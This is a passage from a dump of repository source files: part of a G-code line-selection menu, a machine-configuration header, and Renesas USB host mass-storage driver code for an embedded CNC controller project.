sizeof(cs.in_buf))) == STAT_OK) {\n\t\t\t\tcs.bufp = cs.in_buf;\n\n\t\t\t}\n\t\t\t// handle end-of-file from file devices\n\t\t\tif (status == STAT_EOF) {\t\t\t\t\t\t// EOF can come from file devices only\n\t\t\t\txio_close(cs.primary_src);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\t// set up the buffers\n\t\t\tcs.linelen = strlen(cs.in_buf)+1;\t\t\t\t\t// linelen only tracks primary input\n\t\t\tif (gc_gcode_parser(cs.bufp) == STAT_OK)\n\t\t\t{\n\t\t\t\tsprintf(Str[config_line.numItems], \"ENTRADA LINHA %d\", lineNumEntry[config_line.numItems]);\n\t\t\t\tconfig_line.items[config_line.numItems].value = actualLine - (actualLine - previousLine);\n\t\t\t\tif(++config_line.numItems == MENU_MAX_ITEMS) { break; }\n\t\t\t}\n\t\t}\n\n\t\t/* Fill menu */\n\t\tfor(i = 0; i < config_line.numItems; ++i)\n\t\t{\n\t\t\tconfig_line.items[i].text = Str[i];\n\t\t}\n\n\t\t/* Show menu */\n\t\tconfig_line.selectedItem = 0;\n\t\tif(ut_menu_browse(&config_line, DEFAULT_CONFIG_TIMEOUT) < 0)\n\t\t{\n\t\t\tiif_bind_idle();\n\t\t\treturn STATE_MAIN_MENU;\n\t\t}\n\t\tchoosedLinePosition = config_line.items[config_line.selectedItem].value;\n\t\tchoosedLine = lineNumEntry[config_line.selectedItem];\n\t}\n\tiif_bind_idle();\n\t/* Go back to menu */\n\treturn STATE_CONFIG_AUTO_MODE;\n}\n" }, { "alpha_fraction": 0.721194863319397, "alphanum_fraction": 0.7368420958518982, "avg_line_length": 28.29166603088379, "blob_id": "ee9f12779e3aafb177755445e85fe231f5f8df7e", "content_id": "ef958ea7de039e140619fd8f6d112cd28f45a912", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 703, "license_type": "no_license", "max_line_length": 54, "num_lines": 24, "path": "/src/include/config_maquina.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * config_menu_ox.h\n *\n * Created on: Jun 15, 2016\n * Author: LAfonso01\n */\n\n#ifndef INCLUDE_CONFIG_MAQUINA_H_\n#define INCLUDE_CONFIG_MAQUINA_H_\n\n#include \"ut_state_config_var.h\"\n\nextern ut_config_var configsMaq[CFG_MAQUINA_MAX];\nextern ut_config_type mq_init_types[CFG_MAQUINA_MAX];\nextern char* mq_init_names[CFG_MAQUINA_MAX];\nextern float mq_init_max[CFG_MAQUINA_MAX];\nextern float mq_init_min[CFG_MAQUINA_MAX];\nextern float mq_init_step[CFG_MAQUINA_MAX];\nextern uint8_t mq_init_point[CFG_MAQUINA_MAX];\nextern char* mq_init_unit[CFG_MAQUINA_MAX];\nextern const ut_state geNextStateMaq[CFG_MAQUINA_MAX];\nextern uint32_t mq_init_values[CFG_MAQUINA_MAX];\n\n#endif /* INCLUDE_CONFIG_MAQUINA_H_ */\n" }, { "alpha_fraction": 0.45821577310562134, "alphanum_fraction": 0.4811103641986847, "avg_line_length": 35.7983283996582, "blob_id": "80d4ec1f4196d08623f32dec7c96ce8b3a155367", "content_id": "1725dae55f79c778ce07fc463f5cb69055280bbc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 30837, "license_type": "no_license", "max_line_length": 120, "num_lines": 838, "path": "/r_usb_hmsc/src/r_usb_hmsc_api.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_hmsc_api.c\n* Description : USB Peripheral Sample Code\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Support Multi device.\n***********************************************************************************************************************/\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_hatapi_define.h\" /* Peripheral ATAPI Device extern */\n#include \"r_usb_hmsc_define.h\" /* Host Mass Storage Class Driver */\n#include \"r_usb_hmsc_extern.h\" /* Host MSC grobal define */\n#include \"r_usb_api.h\"\n#include \"r_usb_hmsc_config.h\"\n#include \"r_usb_hmsc_if.h\"\n#include \"ff.h\"\n#include \"ut_state.h\"\n#include \"keyboard.h\"\n\nextern bool drivemountFlag;\nextern char gszCurFile[MAX_FILE_PATH_SIZE];\n\n/******************************************************************************\nRenesas Host MSC Sample Code functions\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_Task\nDescription : USB HMSC Task\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid R_usb_hmsc_Task(void)\n{\n usb_hmsc_Task();\n} /* eof R_usb_hmsc_Task() */\n\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_hub_registration\nDescription : Hub Data Registration\nArgument : none\nReturn : none\n******************************************************************************/\nvoid R_usb_hmsc_hub_registration(USB_UTR_t *ptr)\n{\n USB_HCDREG_t driver;\n\n R_usb_cstd_SetTaskPri(USB_HUB_TSK, USB_PRI_3);\n\n /* Driver registration */\n driver.tpl = (uint16_t*)&usb_ghhub_TPL; /* Target peripheral list */\n driver.pipetbl = (uint16_t*)&usb_ghhub_DefEPTbl; /* Pipe Define Table address */\n\n R_usb_hhub_Registration(ptr, &driver);\n} /* eof R_usb_hmsc_hub_registration() */\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_driver_start\nDescription : USB Host Initialize process\nArgument : none\nReturn : none\n******************************************************************************/\nvoid R_usb_hmsc_driver_start( USB_UTR_t *ptr )\n{\n uint16_t i,j;\n\n for( i = 0; i < USB_DEVICENUM ; i++ )\n {\n usb_ghmsc_drv_no_tbl[i].use_flag = USB_NOUSE;\n }\n\n for( i = 0; i < USB_NUM_USBIP ; i++ )\n {\n for( j = 0; j < USB_MAXDEVADDR ; j++ )\n {\n usb_ghmsc_drive_no[i][j] = USB_ERROR;\n }\n }\n\n R_usb_cstd_SetTaskPri(USB_HMSC_TSK, USB_PRI_3);\n R_usb_cstd_SetTaskPri(USB_HSTRG_TSK, USB_PRI_3);\n} /* eof R_usb_hmsc_driver_start() */\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_ClearStall\nDescription : Clear Stall\nArgument : uint16_t type : Data transmit/Data Receive\n : uint16_t msgnum : Message Number\n : USB_CB_t complete : Callback Function\nReturn value : none\n******************************************************************************/\nvoid R_usb_hmsc_ClearStall(USB_UTR_t *ptr, uint16_t type, uint16_t msgnum, USB_CB_t complete)\n{\n uint16_t pipeno;\n\n switch( type ) \n {\n case USB_DATA_NONE: /* Data transmit */\n pipeno = R_usb_hmsc_Information(ptr->ip, usb_ghmsc_OutPipe[ptr->ip][msgnum][0]);\n usb_ghmsc_OutPipe[ptr->ip][msgnum][1] = 0;\n usb_hmsc_ClearStall(ptr, pipeno, complete);\n break;\n case USB_DATA_OK: /* Data recieve */\n pipeno = R_usb_hmsc_Information(ptr->ip, usb_ghmsc_InPipe[ptr->ip][msgnum][0]);\n usb_ghmsc_InPipe[ptr->ip][msgnum][1] = 0;\n usb_hmsc_ClearStall(ptr, pipeno, complete);\n break;\n default:\n USB_PRINTF0(\"### stall error\\n\");\n break;\n }\n} /* eof R_usb_hmsc_ClearStall() */\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_get_pipetbl\nDescription : Get pipe table address.\nArguments : uint16_t devadr : Device address\nReturn value : Pipe table address.\n******************************************************************************/\nuint16_t* R_usb_hmsc_get_pipetbl(USB_UTR_t *ptr, uint16_t devadr)\n{\n if( devadr == usb_ghmsc_Devaddr[ptr->ip] ) /* Device Address */\n {\n return (uint16_t*)usb_ghmsc_PipeTable[ptr->ip]; /* Pipe Table(DefEP) */\n }\n\n return (uint16_t*)USB_ERROR;\n} /* eof R_usb_hhid_get_pipetbl() */\n\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_TaskOpen\nDescription : Open Mass storage class driver\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid R_usb_hmsc_TaskOpen(USB_UTR_t *ptr, uint16_t data1, uint16_t data2)\n{\n USB_PRINTF0(\"*** Install Host MSCD device driver ***\\n\");\n} /* eof R_usb_hmsc_TaskOpen() */\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_TaskClose\nDescription : Close Mass storage class driver\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid R_usb_hmsc_TaskClose(USB_UTR_t *ptr)\n{\n USB_PRINTF0(\"*** Release Host MS device driver ***\\n\");\n} /* eof R_usb_hmsc_TaskClose() */\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_Initialized\nDescription : initialized USB_HMSC_TSK\nArguments : uint16_t data1 : \n : uint16_t data2 : \nReturn value : none\n******************************************************************************/\nvoid R_usb_hmsc_Initialized(USB_UTR_t *ptr, uint16_t data1, uint16_t data2)\n{\n uint16_t i;\n\n /* 0x00 */\n\n for( i = 0; i < USB_MAXSTRAGE; i++ )\n {\n usb_ghmsc_AttSts[i] = USB_HMSC_DEV_DET;\n usb_ghmsc_CbwTagNo[ptr->ip][i] = (uint16_t)1;\n\n usb_ghmsc_Cbw[ptr->ip][i].dCBWSignature = USB_MSC_CBW_SIGNATURE;\n usb_ghmsc_Cbw[ptr->ip][i].dCBWTag = usb_ghmsc_CbwTagNo[ptr->ip][i];\n usb_ghmsc_Cbw[ptr->ip][i].dCBWDTL_Lo = 0;\n usb_ghmsc_Cbw[ptr->ip][i].dCBWDTL_ML = 0;\n usb_ghmsc_Cbw[ptr->ip][i].dCBWDTL_MH = 0;\n usb_ghmsc_Cbw[ptr->ip][i].dCBWDTL_Hi = 0;\n usb_ghmsc_Cbw[ptr->ip][i].bmCBWFlags.CBWdir = 0;\n usb_ghmsc_Cbw[ptr->ip][i].bmCBWFlags.reserved7 = 0;\n usb_ghmsc_Cbw[ptr->ip][i].bCBWLUN.bCBWLUN = 0;\n usb_ghmsc_Cbw[ptr->ip][i].bCBWLUN.reserved4 = 0;\n usb_ghmsc_Cbw[ptr->ip][i].bCBWCBLength.bCBWCBLength = 0;\n usb_ghmsc_Cbw[ptr->ip][i].bCBWCBLength.reserved3 = 0;\n\n usb_ghmsc_Cbw[ptr->ip][i].CBWCB[0] = 0;\n usb_ghmsc_Cbw[ptr->ip][i].CBWCB[1] = 0;\n usb_ghmsc_Cbw[ptr->ip][i].CBWCB[2] = 0;\n usb_ghmsc_Cbw[ptr->ip][i].CBWCB[3] = 0;\n usb_ghmsc_Cbw[ptr->ip][i].CBWCB[4] = 0;\n usb_ghmsc_Cbw[ptr->ip][i].CBWCB[5] = 0;\n usb_ghmsc_Cbw[ptr->ip][i].CBWCB[6] = 0;\n usb_ghmsc_Cbw[ptr->ip][i].CBWCB[7] = 0;\n usb_ghmsc_Cbw[ptr->ip][i].CBWCB[8] = 0;\n usb_ghmsc_Cbw[ptr->ip][i].CBWCB[9] = 0;\n usb_ghmsc_Cbw[ptr->ip][i].CBWCB[10] = 0;\n usb_ghmsc_Cbw[ptr->ip][i].CBWCB[11] = 0;\n usb_ghmsc_Cbw[ptr->ip][i].CBWCB[12] = 0;\n usb_ghmsc_Cbw[ptr->ip][i].CBWCB[13] = 0;\n usb_ghmsc_Cbw[ptr->ip][i].CBWCB[14] = 0;\n usb_ghmsc_Cbw[ptr->ip][i].CBWCB[15] = 0;\n }\n} /* eof R_usb_hmsc_Initialized() */\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_ClassCheck\nDescription : check connected device\nArguments : uint16_t **table : \nReturn value : none\n******************************************************************************/\nvoid R_usb_hmsc_ClassCheck(USB_UTR_t *ptr, uint16_t **table)\n{\n\n USB_MH_t p_blf;\n USB_ER_t err;\n USB_CLSINFO_t *cp;\n\n usb_ghmsc_DeviceTable[ptr->ip] = (uint8_t*)(table[0]);\n usb_ghmsc_ConfigTable[ptr->ip] = (uint8_t*)(table[1]);\n usb_ghmsc_InterfaceTable[ptr->ip] = (uint8_t*)(table[2]);\n usb_ghmsc_Speed[ptr->ip] = *table[6];\n usb_ghmsc_Devaddr[ptr->ip] = *table[7];\n usb_ghmsc_PipeTable[ptr->ip] = (uint16_t*)(table[8]); /* Pipe Table(DefEP) */\n *table[3] = USB_DONE;\n\n /* Get mem pool blk */\n if( R_USB_PGET_BLK(USB_HMSC_MPL,&p_blf) == USB_E_OK )\n {\n cp = (USB_CLSINFO_t*)p_blf;\n cp->msginfo = USB_MSG_CLS_INIT;\n usb_shmsc_InitSeq[ptr->ip] = USB_SEQ_0;\n\n cp->ip = ptr->ip;\n cp->ipp = ptr->ipp;\n\n /* Send message */\n err = R_USB_SND_MSG( USB_HMSC_MBX, (USB_MSG_t*)p_blf );\n if( err != USB_E_OK )\n {\n err = R_USB_REL_BLK(USB_HMSC_MPL,(USB_MH_t)p_blf);\n USB_PRINTF0(\"### ClassCheck function snd_msg error\\n\");\n }\n }\n else\n {\n USB_PRINTF0(\"### ClassCheck function pget_blk error\\n\");\n } \n} /* eof R_usb_hmsc_ClassCheck() */\n\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_Read10\nDescription : Read10\nArguments : uint16_t side : \n : uint8_t *buff : \n : uint32_t secno : \n : uint16_t seccnt : \n : uint32_t trans_byte : \nReturn value : uint16_t : \n******************************************************************************/\nuint16_t R_usb_hmsc_Read10(USB_UTR_t *ptr, uint16_t side, uint8_t *buff, uint32_t secno,\n uint16_t seccnt, uint32_t trans_byte)\n{\n uint16_t hmsc_retval, unit;\n\n unit = usb_hmsc_SmpDrive2Unit(ptr, side);\n if( unit == USB_ERROR )\n {\n USB_PRINTF2(\"### unit error(Read10:side=%d,unit=%d)\\n\", side, unit);\n return (USB_ERROR);\n }\n\n /* set CBW parameter */\n usb_hmsc_SetRwCbw(ptr, (uint16_t)USB_ATAPI_READ10, secno, seccnt, trans_byte, side);\n\n /* Data IN */\n hmsc_retval = usb_hmsc_DataIn(ptr, side, buff, trans_byte);\n return (hmsc_retval);\n} /* eof R_usb_hmsc_Read10() */\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_Write10\nDescription : Write10\nArguments : uint16_t side : \n : uint8_t *buff : \n : uint32_t secno : \n : uint16_t seccnt : \n : uint32_t trans_byte : \nReturn value : uint16_t : \n******************************************************************************/\nuint16_t R_usb_hmsc_Write10(USB_UTR_t *ptr, uint16_t side, uint8_t *buff, uint32_t secno,\n uint16_t seccnt, uint32_t trans_byte)\n{\n uint16_t hmsc_retval, unit;\n\n unit = usb_hmsc_SmpDrive2Unit(ptr, side);\n if( unit == USB_ERROR )\n {\n USB_PRINTF2(\"### unit error(Write10:side=%d,unit=%d)\\n\", side, unit);\n return (USB_ERROR);\n }\n\n /* set CBW parameter */\n usb_hmsc_SetRwCbw(ptr, (uint16_t)USB_ATAPI_WRITE10, secno, seccnt, trans_byte, side);\n\n /* Data OUT */\n hmsc_retval = usb_hmsc_DataOut(ptr, side, buff, trans_byte);\n return (hmsc_retval);\n} /* eof R_usb_hmsc_Write10() */\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_PreventAllow\nDescription : PreventAllow\nArguments : uint16_t side : \n : uint8_t *buff : \nReturn value : uint16_t : \n******************************************************************************/\nuint16_t R_usb_hmsc_PreventAllow(USB_UTR_t *ptr, uint16_t side, uint8_t *buff)\n{\n uint8_t data[12];\n uint16_t hmsc_retval, unit;\n\n unit = usb_hmsc_SmpDrive2Unit(ptr, side);\n if( unit == USB_ERROR )\n {\n USB_PRINTF2(\"### unit error(PreventAllow:side=%d,unit=%d)\\n\", side, unit);\n return (USB_ERROR);\n }\n\n /* Data clear */\n usb_hmsc_ClrData((uint16_t)12, data);\n\n /* Data set */\n /* Command */\n data[0] = USB_ATAPI_PREVENT_ALLOW;\n /* Reserved */\n data[4] = buff[0];\n\n /* Set CBW parameter */\n usb_hmsc_SetElsCbw(ptr, (uint8_t*)&data, (uint32_t)0, side);\n\n /* No Data */\n hmsc_retval = usb_hmsc_NoData(ptr, side);\n return (hmsc_retval);\n} /* eof R_usb_hmsc_PreventAllow() */\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_TestUnit\nDescription : TestUnit\nArguments : uint16_t side : \nReturn value : uint16_t : \n******************************************************************************/\nuint16_t R_usb_hmsc_TestUnit(USB_UTR_t *ptr, uint16_t side)\n{\n uint8_t data[12];\n uint16_t hmsc_retval, unit;\n\n unit = usb_hmsc_SmpDrive2Unit(ptr, side);\n if( unit == USB_ERROR )\n {\n USB_PRINTF2(\"### unit error(TestUnit:side=%d,unit=%d)\\n\", side, unit);\n return (USB_ERROR);\n }\n\n /* Data clear */\n usb_hmsc_ClrData((uint16_t)12, data);\n\n /* Data set */\n /* Command */\n data[0] = USB_ATAPI_TEST_UNIT_READY;\n\n /* Set CBW parameter */\n usb_hmsc_SetElsCbw(ptr, (uint8_t*)&data, (uint32_t)0, side);\n\n /* No Data */\n hmsc_retval = usb_hmsc_NoData(ptr, side);\n return (hmsc_retval);\n} /* eof R_usb_hmsc_TestUnit() */\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_RequestSense\nDescription : RequestSense\nArguments : uint16_t side : \n : uint8_t *buff : \nReturn value : uint16_t : \n******************************************************************************/\nuint16_t R_usb_hmsc_RequestSense(USB_UTR_t *ptr, uint16_t side, uint8_t *buff)\n{\n uint8_t data[12];\n uint8_t length = 18;\n uint16_t hmsc_retval, unit;\n\n unit = usb_hmsc_SmpDrive2Unit(ptr, side);\n if( unit == USB_ERROR )\n {\n USB_PRINTF2(\"### unit error(RequestSense:side=%d,unit=%d)\\n\", side, unit);\n return (USB_ERROR);\n }\n\n /* Data clear */\n usb_hmsc_ClrData((uint16_t)12, data);\n\n /* Data set */\n /* Command */\n data[0] = USB_ATAPI_REQUEST_SENSE;\n /* Allocation length */\n data[4] = length;\n\n /* Set CBW parameter */\n usb_hmsc_SetElsCbw(ptr, (uint8_t*)&data, (uint32_t)length, side);\n\n /* Data IN */\n hmsc_retval = usb_hmsc_DataIn(ptr, side, buff, (uint32_t)length);\n return (hmsc_retval);\n} /* eof R_usb_hmsc_RequestSense() */\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_Inquiry\nDescription : Inquiry\nArguments : uint16_t side : \n : uint8_t *buff : \nReturn value : uint16_t : \n******************************************************************************/\nuint16_t R_usb_hmsc_Inquiry(USB_UTR_t *ptr, uint16_t side, uint8_t *buff)\n{\n uint8_t data[12];\n uint8_t length = 36;\n uint16_t hmsc_retval, unit;\n\n unit = usb_hmsc_SmpDrive2Unit(ptr, side);\n if( unit == USB_ERROR )\n {\n USB_PRINTF2(\"### unit error(Inquiry:side=%d,unit=%d)\\n\", side, unit);\n return (USB_ERROR);\n }\n\n /* Data clear */\n usb_hmsc_ClrData((uint16_t)12, data);\n\n /* Data set */\n /* Command */\n data[0] = USB_ATAPI_INQUIRY;\n /* Allocation length */\n data[4] = length;\n\n /* Set CBW parameter */\n usb_hmsc_SetElsCbw(ptr, (uint8_t*)&data, (uint32_t)length, side);\n\n /* Data IN */\n hmsc_retval = usb_hmsc_DataIn(ptr, side, buff, (uint32_t)length);\n return (hmsc_retval);\n} /* eof R_usb_hmsc_Inquiry() */\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_ReadCapacity\nDescription : ReadCapacity\nArguments : uint16_t side : \n : uint8_t *buff : \nReturn value : uint16_t : \n******************************************************************************/\nuint16_t R_usb_hmsc_ReadCapacity(USB_UTR_t *ptr, uint16_t side, uint8_t *buff)\n{\n uint8_t data[12];\n uint8_t length = 8;\n uint16_t hmsc_retval, unit;\n\n unit = usb_hmsc_SmpDrive2Unit(ptr, side);\n if( unit == USB_ERROR )\n {\n USB_PRINTF2(\"### unit error(ReadCapacity:side=%d,unit=%d)\\n\", side, unit);\n return (USB_ERROR);\n }\n\n /* Data clear */\n usb_hmsc_ClrData((uint16_t)12, data);\n\n /* Data set */\n /* Command */\n data[0] = USB_ATAPI_READ_CAPACITY;\n\n /* Set CBW parameter */\n usb_hmsc_SetElsCbw(ptr, (uint8_t*)&data, (uint32_t)length, side);\n\n /* Data IN */\n hmsc_retval = usb_hmsc_DataIn(ptr, side, buff, (uint32_t)length);\n return (hmsc_retval);\n} /* eof R_usb_hmsc_ReadCapacity() */\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_ReadFormatCapacity\nDescription : ReadFormatCapacity\nArguments : uint16_t side : \n : uint8_t *buff : \nReturn value : uint16_t : \n******************************************************************************/\nuint16_t R_usb_hmsc_ReadFormatCapacity(USB_UTR_t *ptr, uint16_t side, uint8_t *buff)\n{\n uint8_t data[12];\n uint8_t length = 0x20;\n uint16_t hmsc_retval, unit;\n\n unit = usb_hmsc_SmpDrive2Unit(ptr, side);\n if( unit == USB_ERROR )\n {\n USB_PRINTF2(\"### unit error(read_format:side=%d,unit=%d)\\n\", side, unit);\n return (USB_ERROR);\n }\n\n /* Data clear */\n usb_hmsc_ClrData((uint16_t)12, data);\n\n /* Data set */\n /* Command */\n data[0] = USB_ATAPI_READ_FORMAT_CAPACITY;\n /* Allocation length */\n data[8] = length;\n\n /* Set CBW parameter */\n usb_hmsc_SetElsCbw(ptr, (uint8_t*)&data, (uint32_t)length, side);\n\n /* Data IN */\n hmsc_retval = usb_hmsc_DataIn(ptr, side, buff, (uint32_t)length);\n return (hmsc_retval);\n} /* eof R_usb_hmsc_ReadFormatCapacity() */\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_ModeSense10\nDescription : ModeSense10\nArguments : uint16_t side : \n : uint8_t *buff : \nReturn value : uint16_t : \n******************************************************************************/\nuint16_t R_usb_hmsc_ModeSense10(USB_UTR_t *ptr, uint16_t side, uint8_t *buff)\n{\n uint8_t data[12];\n uint8_t length = 26;\n uint16_t hmsc_retval, unit;\n\n unit = usb_hmsc_SmpDrive2Unit(ptr, side);\n if( unit == USB_ERROR )\n {\n USB_PRINTF2(\"### unit error(ModeSense10:side=%d,unit=%d)\\n\", side, unit);\n return (USB_ERROR);\n }\n\n /* Data clear */\n usb_hmsc_ClrData((uint16_t)12, data);\n\n /* Data set */\n /* Command */\n data[0] = USB_ATAPI_MODE_SENSE10;\n /* Set LUN / DBD=1 */\n data[1] = 0x08;\n /* Allocation length */\n data[7] = 0x00;\n /* Allocation length */\n data[8] = 0x02;\n\n /* Set CBW parameter */\n usb_hmsc_SetElsCbw(ptr, (uint8_t*)&data, (uint32_t)length, side);\n\n /* Data IN */\n hmsc_retval = usb_hmsc_DataIn(ptr, side, buff, (uint32_t)length);\n return (hmsc_retval);\n} /* eof R_usb_hmsc_ModeSense10() */\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_ModeSelect6\nDescription : ModeSelect6\nArguments : uint16_t side : \n : uint8_t *buff : \nReturn value : uint16_t : \n******************************************************************************/\nuint16_t R_usb_hmsc_ModeSelect6(USB_UTR_t *ptr, uint16_t side, uint8_t *buff)\n{\n uint8_t data[12];\n uint8_t length = 18;\n uint16_t hmsc_retval, unit;\n\n unit = usb_hmsc_SmpDrive2Unit(ptr, side);\n if( unit == USB_ERROR )\n {\n USB_PRINTF2(\"### unit error(mode_sense6:side=%d,unit=%d)\\n\", side, unit);\n return (USB_ERROR);\n }\n\n /* Data clear */\n usb_hmsc_ClrData((uint16_t)12, data);\n\n /* Data set */\n /* Command */\n data[0] = USB_ATAPI_MODE_SELECT6;\n /* SP=0 */\n data[1] = 0x10;\n /* Parameter list length ??? */\n data[4] = 0x18;\n\n /* Set CBW parameter */\n usb_hmsc_SetElsCbw(ptr, (uint8_t*)&data, (uint32_t)length, side);\n\n /* Data clear */\n usb_hmsc_ClrData((uint16_t)24, buff);\n\n /* Data set */\n buff[3] = 0x08;\n buff[10] = 0x02;\n buff[12] = 0x08;\n buff[13] = 0x0A;\n\n /* Data OUT */\n hmsc_retval = usb_hmsc_DataOut(ptr, side, buff, (uint32_t)length);\n return (hmsc_retval);\n} /* eof R_usb_hmsc_ModeSelect6() */\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_DriveSpeed\nDescription : DriveSpeed\nArguments : uint16_t side : \nReturn value : uint16_t : \n******************************************************************************/\nuint16_t R_usb_hmsc_DriveSpeed(USB_UTR_t *ptr, uint16_t side)\n{\n uint16_t tbl[10];\n\n R_usb_hstd_DeviceInformation(ptr, side, (uint16_t *)tbl);\n return (tbl[3]); /* Speed */\n} /* eof R_usb_hmsc_DriveSpeed() */\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_Release\nDescription : Release Mass Strage Class driver\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid R_usb_hmsc_Release(USB_UTR_t *ptr)\n{\n R_usb_hstd_DriverRelease(ptr, (uint8_t)USB_IFCLS_MAS);\n} /* eof R_usb_hmsc_Release() */\n\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_SetDevSts\nDescription : Sets HMSCD operation state\nArguments : uint16_t data : \nReturn value : uint16_t : \n******************************************************************************/\nuint16_t R_usb_hmsc_SetDevSts( uint16_t side, uint16_t data )\n{\n usb_ghmsc_AttSts[side] = data;\n return USB_DONE;\n} /* eof R_usb_hmsc_SetDevSts() */\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_GetDevSts\nDescription : Responds to HMSCD operation state\nArguments : none\nReturn value : uint16_t : \n******************************************************************************/\nuint16_t R_usb_hmsc_GetDevSts( uint16_t side )\n{\n return( usb_ghmsc_AttSts[side] );\n} /* eof R_usb_hmsc_GetDevSts() */\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_Information\nDescription : EP Table Information\nArguments : uint16_t pipe_offset : \nReturn value : uint16_t : \n******************************************************************************/\nuint16_t R_usb_hmsc_Information(uint16_t ipno, uint16_t pipe_offset)\n{\n return(usb_ghmsc_PipeTable[ipno][pipe_offset]);\n} /* eof R_usb_hmsc_Information() */\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_GetMaxUnit\nDescription : Get Max LUN request\nArgument : uint16_t addr : Device Address\n : USB_CB_t complete : CallBack Function\nReturn value : USB_ER_t : Error Code\n******************************************************************************/\nUSB_ER_t R_usb_hmsc_GetMaxUnit(USB_UTR_t *ptr, uint16_t addr, USB_CB_t complete)\n{\n USB_ER_t err;\n static uint16_t get_max_lun_table[5] = {0xFEA1, 0x0000, 0x0000, 0x0001, 0x0000};\n\n /* Device address set */\n get_max_lun_table[4] = addr;\n\n /* Recieve MaxLUN */\n usb_ghmsc_ControlData[ptr->ip].keyword = USB_PIPE0;\n usb_ghmsc_ControlData[ptr->ip].tranadr = (void*)usb_ghmsc_Data[ptr->ip];\n usb_ghmsc_ControlData[ptr->ip].tranlen = (uint32_t)1;\n usb_ghmsc_ControlData[ptr->ip].setup = get_max_lun_table;\n usb_ghmsc_ControlData[ptr->ip].complete = complete;\n usb_ghmsc_ControlData[ptr->ip].segment = USB_TRAN_END;\n\n err = usb_hmsc_SubmitutrReq(ptr, (uint16_t)USB_CTRL_END, &usb_ghmsc_ControlData[ptr->ip]);\n return err;\n} /* eof R_usb_hmsc_GetMaxUnit() */\n\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_MassStorageReset\nDescription : Mass Strage Reset request\nArgument : uint16_t drvnum : Drive Number\n : USB_CB_t complete : Callback Funtion\nReturn value : USB_ER_t : Error Code\n******************************************************************************/\nUSB_ER_t R_usb_hmsc_MassStorageReset(USB_UTR_t *ptr, uint16_t drvnum, USB_CB_t complete)\n{\n USB_ER_t err;\n USB_UTR_t dev_adr;\n\n static uint16_t mass_storage_reset_table[5] = {0xFF21, 0x0000, 0x0000, 0x0000, 0x0000};\n\n /* Device address set */\n usb_hmsc_SmpDrive2Addr(drvnum, &dev_adr);\n mass_storage_reset_table[4] = dev_adr.keyword;\n\n /* Set MassStorageReset */\n usb_ghmsc_ControlData[ptr->ip].keyword = USB_PIPE0;\n usb_ghmsc_ControlData[ptr->ip].tranadr = (void*)usb_ghmsc_Data[ptr->ip];\n usb_ghmsc_ControlData[ptr->ip].tranlen = (uint32_t)0;\n usb_ghmsc_ControlData[ptr->ip].setup = mass_storage_reset_table;\n usb_ghmsc_ControlData[ptr->ip].complete = complete;\n usb_ghmsc_ControlData[ptr->ip].segment = USB_TRAN_END;\n\n err = usb_hmsc_SubmitutrReq(ptr, (uint16_t)USB_CTRL_END, &usb_ghmsc_ControlData[ptr->ip]);\n return err;\n} /* eof R_usb_hmsc_MassStorageReset() 